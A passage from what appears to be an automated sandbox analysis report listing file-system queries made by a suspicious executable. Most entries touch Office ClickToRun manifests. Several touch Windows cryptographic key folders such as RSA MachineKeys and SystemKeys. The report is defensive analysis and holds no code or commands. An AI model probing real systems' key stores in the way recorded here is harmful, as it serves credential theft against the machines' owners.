    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\Manifest.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserDeploymentConfiguration.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserDeploymentConfiguration.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserDeploymentConfiguration.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserManifest.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserManifest.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\UserManifest.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Integration VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Integration\ShortcutBackups VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\MasterDescriptor.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\MasterDescriptor.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\MasterDescriptor.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\s321033.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\s321033.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\en-us.16\stream.x86.en-us.man.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\operations.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\operations.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\operations.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\VirtualRegistry.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\VirtualRegistry.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\VirtualRegistry.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\i320.c2rx.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\i320.c2rx.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\MasterDescriptor.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\s320.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\s320.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.dat.cat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.db VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.hash VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.man.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\78614DC7-9853-4481-BCFD-A5C14DED5516\x-none.16\stream.x86.x-none.man.dat VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.man VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\AirSpace.Etw.man VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Access.Access.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.accessmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.accessmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.accessmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.dcfmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.dcfmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.dcfmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.excelmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.excelmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.excelmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.lyncmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.lyncmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.lyncmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.office64mui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.office64mui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.office64ww.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.office64ww.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.officemui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.officemui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.officemui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.onenotemui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.onenotemui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmuxmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmuxmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmuxmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.outlookmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.outlookmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.outlookmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.powerpointmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.powerpointmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.powerpointmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Proof.Culture.msi.16.fr-fr.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Proof.Culture.msi.16.fr-fr.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.publishermui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.publishermui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.shared.Office.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Word.Word.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.Word.Word.x-none.msi.16.x-none.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.wordmui.msi.16.en-us.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates Logon.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\msoutilstat.etw.man VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\msoutilstat.etw.man VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.man VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\wordEtw.man VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto\DSS VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto\Keys VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto\PCPKSP VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto\SystemKeys VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Crypto\SystemKeys\4fbf593b24f129e7d8c9fc84ba6a1ac3_9e146be9-c76a-4720-bcdb-53011b87bd06 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png VolumeInformationJump to behavior
